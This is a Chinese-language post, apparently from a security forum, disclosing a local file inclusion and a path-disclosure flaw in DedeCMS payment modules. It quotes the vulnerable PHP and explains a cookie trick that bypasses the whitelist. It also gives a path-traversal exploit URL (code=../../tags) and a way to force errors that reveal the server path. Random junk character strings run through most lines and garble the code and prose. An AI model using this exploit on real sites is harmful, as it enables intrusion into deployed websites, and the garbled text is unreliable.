dedecms本地文件包含及物理路径泄露0day

admin

晚餐吃撑了，瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多，赶紧下了套，用editplus搜索了几个关键字，果然发现些问题。(话说平时写代码也喜欢用editplus，小巧方便多年习惯)
' u6 R& a, |4 L. G
% V$ [/ d  N. x7 E$ n) ~7 E) P出现漏洞的两个文件为：
2 y7 H- g0 b) n) rInclude/payment/alipay.php
Include/payment/yeepay.php
: U" P/ C8 M6 `3 J漏洞均出现在respond方法里，估计这两个文件是临时工写的。
+ w0 f' S- X5 d2 I& S/ m
; {9 @; A- D6 Y7 mInclude/payment/alipay.php

......
& g5 i: ?4 @% ~7 S7 G   function respond()
4 `  n9 v* T# `, {) ]; A    {
        if (!empty($_POST))
8 Y9 V1 h8 T% Y. H+ Y$ E9 a/ ]. p2 K        {
2 N- M( v, a2 t3 C: A0 b            foreach($_POST as $key => $data)
& Y0 O" w: E% I, g2 e9 c            {
6 R; R: n3 s- z( R4 n                $_GET[$key] = $data;
            }
6 o' S8 A, l% q& \        }
        /* 引入配置文件 */
# k5 ^! N4 H/ P        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
3 M$ ?" g1 w/ y6 G$ e6 d' A( A1 [......
5 z5 ?; p8 i0 \  ?" h
' Z  i* R( L* y* K
大概在133行左右，$_GET[‘code’]没有经过任何判断和过滤。
  B$ x) _8 J* Q& x/ h$ h1 ^
Include/payment/yeepay.php
, D( v9 ]' s) n/ K1 {) P
8 {  e2 z: Q* P* d! L
8 T! D7 m- C9 O0 m
# p* e5 F$ j% y2 u+ Z......
6 O7 p/ \  w. M5 ?! b    function respond()
    {
$ n% c5 }! u4 m
        /* 引入配置文件 */
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';

- h/ @  w, q  }8 w# C        $p1_MerId = trim($payment['yp_account']);
% w' K/ J% x* G% \8 o7 q" \        $merchantKey = trim($payment['yp_key']);
......

; D0 S! S8 r& b  n' m7 C
/ U! w# ]  y% f# n+ j0 \

大概在145行左右，$_REQUEST['code']没有经过任何判断和过滤。
; ?6 @7 t& \3 L8 c! P. ~
这两个方法在plus/carbuyaction.php文件调用。

8 W- I3 `* ]% wplus/carbuyaction.php
4 _% S4 X5 t8 E# j/ Z" \7 A' g
......
} else if ($dopost == 'return') {
) l' X% M: j$ N# M4 ~    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ R& _. {, s' O, v3 t: n7 {    if (in_array($code, $write_list))
9 y& L) u8 m7 _; \0 Y6 Y    {
8 q9 a; V3 ~* }6 u/ d        require_once DEDEINC.'/payment/'.$code.'.php';
        $pay = new $code;
        $msg=$pay->respond();
        ShowMsg($msg, "javascript:;", 0, 3000);
        exit();  
: F6 k& @# q0 ~2 K, l6 W    } else {
) o: L. w* j1 G& l; Y. ^        exit('Error:File Type Can\'t Recognized!');
0 t* ?  J/ L, }0 d    }
}
......


1 Q. Q9 v1 e/ M

( C, X5 F& Q0 C# u) V/ _+ |+ H% I# h. f0 `- a
+ G! u, L1 ~6 K1 _5 m9 L
大概在334行，当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code，而$code是经过判断的，值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。



$ H) ^8 N5 |, p- Y0 r1 n2 k% C......
& H8 k5 B, U0 u$ ]$ }. dforeach(Array('_GET','_POST','_COOKIE') as $_request)
5 ^% D' i. ], r6 P{
        foreach($$_request as $_k => $_v)
3 {1 F, v' g& j- y7 f        {
                if($_k == 'nvarname') ${$_k} = $_v;
+ k9 y7 d/ I* ^/ y# \6 D                else ${$_k} = _RunMagicQuotes($_v);
; N  D6 k0 C2 e; e/ V        }
* v4 d& L. _, N" d1 K}
2 k. [) ?2 g$ h, p/ S......
大概在79行，可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿，细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准，而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断，使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法，所以如果code等于bank或者cod时将会暴错泄露路径。注：请勿非法测试，产生后果与本人无关。